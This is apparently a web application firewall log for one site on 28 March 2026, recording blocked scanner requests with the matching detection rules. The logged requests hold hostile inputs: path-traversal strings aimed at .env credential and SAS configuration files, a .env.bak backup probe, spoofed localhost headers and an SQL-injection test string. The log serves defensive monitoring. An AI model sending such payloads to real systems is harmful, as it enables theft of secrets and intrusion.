File: /www/wwwlogs/free_waf_log/dewenlabels.com_2026-03-28.log
["2026-03-28 15:22:36","185.177.72.13","GET","\/s3\/%2eenv%2ebak","curl\/8.7.1","url","\\.(bak|inc|old|mdb|sql|php~|swp|java|class)$ >> 1:\/s3\/.env.bak","GET \/s3\/%2eenv%2ebak HTTP\/1.1\nx-host:127.0.0.1\nx-forwarded-for:127.0.0.1\nhost:dewenlabels.com\naccept-language:en-US,en;q=0.9\naccept:*\/*\naccept-encoding:gzip\nx-forwared:127.0.0.1\nx-real-ip:127.0.0.1\nx-originating-ip:127.0.0.1\nuser-agent:curl\/8.7.1\nx-client-ip:127.0.0.1\ntrue-client-ip:127.0.0.1\nx-azure-clientip:127.0.0.1\nx-azure-socketip:127.0.0.1\n\n"]
["2026-03-28 15:26:11","185.177.72.13","GET","\/?file=..\/..\/..\/..\/var\/www\/html\/.env","curl\/8.7.1","args","\\.\\.\/\\.\\.\/ >> file:..\/..\/..\/..\/var\/www\/html\/.env","GET \/?file=..\/..\/..\/..\/var\/www\/html\/.env HTTP\/1.1\nhost:dewenlabels.com\naccept-language:en-US,en;q=0.9\naccept:*\/*\naccept-encoding:gzip\nx-real-ip:127.0.0.1\nuser-agent:curl\/8.7.1\nx-azure-socketip:127.0.0.1\nx-host:127.0.0.1\nx-forwared:127.0.0.1\nx-azure-clientip:127.0.0.1\ntrue-client-ip:127.0.0.1\nx-client-ip:127.0.0.1\nx-originating-ip:127.0.0.1\nx-forwarded-for:127.0.0.1\n\n"]
["2026-03-28 15:26:28","185.177.72.13","GET","\/jsp\/help-hierarchyTree%2ejsp?helpFilePath=..\/%2e.\/%2e.\/opt\/sas\/sw\/conf\/app%2eproperties","curl\/8.7.1","args","\\.\\.\/\\.\\.\/ >> helpFilePath:..\/..\/..\/opt\/sas\/sw\/conf\/app.properties","GET \/jsp\/help-hierarchyTree%2ejsp?helpFilePath=..\/%2e.\/%2e.\/opt\/sas\/sw\/conf\/app%2eproperties HTTP\/1.1\nhost:dewenlabels.com\naccept-language:en-US,en;q=0.9\naccept:*\/*\naccept-encoding:gzip\nx-real-ip:127.0.0.1\nuser-agent:curl\/8.7.1\nx-azure-socketip:127.0.0.1\nx-host:127.0.0.1\nx-forwared:127.0.0.1\nx-azure-clientip:127.0.0.1\ntrue-client-ip:127.0.0.1\nx-client-ip:127.0.0.1\nx-originating-ip:127.0.0.1\nx-forwarded-for:127.0.0.1\n\n"]
["2026-03-28 15:26:29","185.177.72.13","GET","\/jsp\/help-hierarchyTree%2ejsp?helpFilePath=..\/%2e.\/%2e.\/opt\/sas\/sw\/conf\/smg%2econf","curl\/8.7.1","args","\\.\\.\/\\.\\.\/ >> helpFilePath:..\/..\/..\/opt\/sas\/sw\/conf\/smg.conf","GET \/jsp\/help-hierarchyTree%2ejsp?helpFilePath=..\/%2e.\/%2e.\/opt\/sas\/sw\/conf\/smg%2econf HTTP\/1.1\nhost:dewenlabels.com\naccept-language:en-US,en;q=0.9\naccept:*\/*\naccept-encoding:gzip\nx-real-ip:127.0.0.1\nuser-agent:curl\/8.7.1\nx-azure-socketip:127.0.0.1\nx-host:127.0.0.1\nx-forwared:127.0.0.1\nx-azure-clientip:127.0.0.1\ntrue-client-ip:127.0.0.1\nx-client-ip:127.0.0.1\nx-originating-ip:127.0.0.1\nx-forwarded-for:127.0.0.1\n\n"]
["2026-03-28 22:44:52","141.11.36.86","GET","\/items\/xigys34\/47025?key=%27nvOpzp;%20AND%201=1%20OR%20(%3C%27%22%3EiKO)),",null,"args","\\s+(or|xor|and)\\s+.*(=|<|>|'|\") >> key:'nvOpzp; AND 1=1 OR (<'\">iKO)),","GET \/items\/xigys34\/47025?key=%27nvOpzp;%20AND%201=1%20OR%20(%3C%27%22%3EiKO)), HTTP\/1.1\naccept:*\/*\naccept-encoding:gzip, br, deflate\nreferer:http:\/\/dewenlabels.com\/items\/xigys34\/47025?key=%27nvOpzp;%20AND%201=1%20OR%20(%3C%27%22%3EiKO)),\nhost:dewenlabels.com\n\n"]